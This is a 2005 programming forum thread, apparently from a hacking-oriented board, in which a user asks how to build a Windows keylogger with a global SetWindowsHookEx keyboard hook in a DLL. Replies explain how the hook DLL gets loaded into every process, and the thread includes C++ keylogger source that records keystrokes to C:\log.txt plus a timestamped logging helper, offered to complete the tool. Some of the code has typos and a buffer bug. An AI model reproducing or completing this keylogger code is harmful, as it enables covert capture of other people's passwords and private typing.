Articles
|
|
n.n.p
Jul 21 2005, 05:56 PM
Ok, im in the process of making a keylogger but i get the feeling i really dont fully understand dlls. (oh and in case anyone thinks of saying it, i've read the msdn documentation and many, many articles on google inside out) Here are a few things i dont understand fully: 1) What exactly happens when you export a function using __dllspec(dllexport). I understand that it allows you to call the function from your application but is it just a naming method or does it actually "export" the function to somewhere? 2) If I set a keyboard hook using SetKeyboardHookEx(WH_KEYBOARD...........) and use my dll called keylog.dll what exactly am i doing? What i mean is, am i just telling the OS that "hey you, here is a filter function, please pass all keyboard input through this before sending it on to whatever application its meant for" or does it make a copy of the code for each running process? 3) Continuing from question 2. Will my dll only be called once. i.e when my main win32 app calls SetWindowHookEx()? I assume it will, otherwise i have a completely warped view on dlls. Im asking this becuase im under the impression that if i have an fopen etc at the start of my dll it will open a text file for logging and keep it open until i close it. As opposed to opening the text file for every application and opening and closing it every time a key is hit. I dont want the text file opening and closing for every char. I assume once i set the hook and the dll is loaded it stays loaded until i unload it? i.e if the code to open the text file is at the start it will only be exectuted once. Ok, thats all for now  If anyone actually bothers to answer those i will be indepted to them. Hell, if anyone even reads this far i'll be surprised. Thanks for your time, NNP EDIT: The question im most interested in is about opening and closing the log file. I want it to be opened just the once as opposed to opened and closed every time a key is hit (which would happen if i have the fopen in the KeyboardProc)
tibbar
Jul 21 2005, 06:30 PM
1) it allows other apps to access it via LoadLibrary+GetProcAddress: QUOTE GetProcAddress
The GetProcAddress function retrieves the address of an exported function or variable from the specified dynamic-link library (DLL).
FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
Parameters hModule [in] Handle to the DLL module that contains the function or variable. The LoadLibrary or GetModuleHandle function returns this handle. lpProcName [in] Pointer to a null-terminated string that specifies the function or variable name, or the function's ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero. Return Values If the function succeeds, the return value is the address of the exported function or variable.
If the function fails, the return value is NULL. To get extended error information, call GetLastError.
Remarks The spelling and case of a function name pointed to by lpProcName must be identical to that in the EXPORTS statement of the source DLL's module-definition (.def) file. The exported names of functions may differ from the names you use when calling these functions in your code. This difference is hidden by macros used in the SDK header files. For more information, see Conventions for Function Prototypes.
The lpProcName parameter can identify the DLL function by specifying an ordinal value associated with the function in the EXPORTS statement. GetProcAddress verifies that the specified ordinal is in the range 1 through the highest ordinal value exported in the .def file. The function then uses the ordinal as an index to read the function's address from a function table. If the .def file does not number the functions consecutively from 1 to N (where N is the number of exported functions), an error can occur where GetProcAddress returns an invalid, non-NULL address, even though there is no function with the specified ordinal.
In cases where the function may not exist, the function should be specified by name rather than by ordinal value.
2) No such API function. Perhaps you mean SetWindowsHookEx? This one will ensure that in all windows apps, the message queuing is filtered for the specified message type, and passed through your hook procedure, before being processed by the app. It is implemented by asking all apps on the desktop to do LoadLibrary("hook.dll") and then sets up the message queue filter. 3) Every app on the desktop will call you dll! Hence you should not open the log file exclusively. Instead allow all to write to it. Note that since the user cannot type on 2 apps at once this is not a problem!
n.n.p
Jul 22 2005, 10:50 PM
QUOTE(tibbar @ Jul 21 2005, 07:30 PM) 2) No such API function. Perhaps you mean SetWindowsHookEx? This one will ensure that in all windows apps, the message queuing is filtered for the specified message type, and passed through your hook procedure, before being processed by the app. It is implemented by asking all apps on the desktop to do LoadLibrary("hook.dll") and then sets up the message queue filter. QUOTE *smacks head*
Yea, my bad. This was posted in a rush.
3) Every app on the desktop will call you dll! Hence you should not open the log file exclusively. Instead allow all to write to it. Note that since the user cannot type on 2 apps at once this is not a problem! Im not sure if i understand that. What do you mean by "Hence you should not open the log file exclusively.". Im assuming you mean that I shouldnt create the file as then every app will attempt to create the file when the dll is mapped to its address space and used but how else am i going to create and use it? I've seen it done like the below code: QUOTE #include <windows.h>
HHOOK hKeyhook; TCHAR szBuf[1]; DWORD dwBytes; HANDLE g_hFile;
BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { ///////////// // This is very beta and I am still working on what // is actually happening. When logger exe attaches // Log file is created, on detach, handle close?? ////////////// switch( fdwReason ) { case DLL_PROCESS_ATTACH: g_hFile = ::CreateFile ("C:\\log.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: ::CloseHandle(g_hFile); } return TRUE; } __decspec(dllexport) LRESULT WINAPI CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { if( code < 0 ) return CallNextHookEx( hKeyhook, code, wParam, lParam );
/////////// // Process the hook, key messages // are in wParam, lParam contains // mostly useless info I had trouble // implementing and gave up /////////// else if( wParam == VK_SPACE ) ::WriteFile( g_hFile, " ", 1, &dwBytes, NULL ); else if( wParam == VK_RETURN ) ::WriteFile( g_hFile, "\n", 1, &dwBytes, NULL ); /////////////// // Letters and such /////////////// else if( wParam > 0x40 && wParam < 0x5B ) { if( GetKeyState( VK_CAPITAL ) ) { szBuf[ 0 ] = wParam; szBuf[ 1 ] = '\0'; ::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL ); } else { szBuf[ 0 ] = wParam; szBuf[ 1 ] = '\0'; ::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL ); } } return CallNextHookEx(hKeyhook, code, wParam, lParam); } Does having it inside the switch in the DLL_PROCESS_ATTCH case ensure that the file is only created once? The other altenative i was considering was creating a shared data segment like QUOTE #pragma data_seg(".LOG) g_hFile = ::CreateFile ("C:\\log.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); #pragma data_seg() #pragma comment(linker, "/section:.LOG,rws")
What do you think? Cheers, nnp
akcom
Jul 27 2005, 12:29 AM
Handles such as those cannot be shared between dll's: they simply wont work. Instead, only open the log file when you are writing to it (when you receive a character).
As for your questions: 1) It puts the function's name in the DLL's "export table" so other exes/dlls can call it. 2) It loads your dll into every application that receives keyboard input and send calls that function whenever keyboard input is received. FYI, there is no need to export the function.
n.n.p
Jul 27 2005, 12:58 PM
I could open the file when i recieve a character but the processing power to open and close the file for every character inputted would be too great and highly inefficient. If i open the file in DllMain as the source above does will the file stay open then? I could close it when the Dll detaches using the DLL_PROCESS_DETACH case?
If that would work then it would save a lot of hassle.
ANy thoughts?
Forge
Jul 28 2005, 08:33 PM
QUOTE(n.n.p @ Jul 27 2005, 12:58 PM) I could open the file when i recieve a character but the processing power to open and close the file for every character inputted would be too great and highly inefficient. If i open the file in DllMain as the source above does will the file stay open then? I could close it when the Dll detaches using the DLL_PROCESS_DETACH case? If that would work then it would save a lot of hassle. ANy thoughts? Well since your mapping the dll into every process that uses the keyboard.. If you keep the file open from one process the other process's could not open the file to write to because its already open. You cant close the file at DETACH because when a window loses focus it wont detach...so your file will remain open... I just say open and close the file each time you needed it because unless mass amounts of data are being written then you wont notice a efficency problem and as it was said only one application can be typed to at a time so your not recv thousands of open request in a few mili-secs. But if you want to keep the file open check for the forground window. If the app that opened the file dosent have focus have it close the file so the next program can open and add to it. Here is even a log function you can use CODE void Log (char *filename,const char * fmt, ...) { if(!strcmp(filename,"dontlog")) { return; }
va_list va_alist; char logbuf[2024], tempbuf[2024]; FILE * fp; SYSTEMTIME st;
GetLocalTime(&st); if(st.wHour <13){sprintf(tempbuf,"<[%d:%d:%d AM]=>",st.wHour,st.wMinute,st.wSecond);} else if(st.wHour >12){sprintf(tempbuf,"<[%d:%d:%d PM]=>",(st.wHour - 12),st.wMinute,st.wSecond);}
va_start (va_alist, fmt); _vsnprintf (logbuf, strlen(logbuf), fmt, va_alist); va_end (va_alist);
strncat(tempbuf,logbuf,sizeof(tempbuf));
if ( (fp = fopen (filename, "a")) != NULL ) { fprintf ( fp, "%s", tempbuf ); fclose (fp); ZeroMemory(tempbuf,2024); ZeroMemory(logbuf,2024); } }
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
|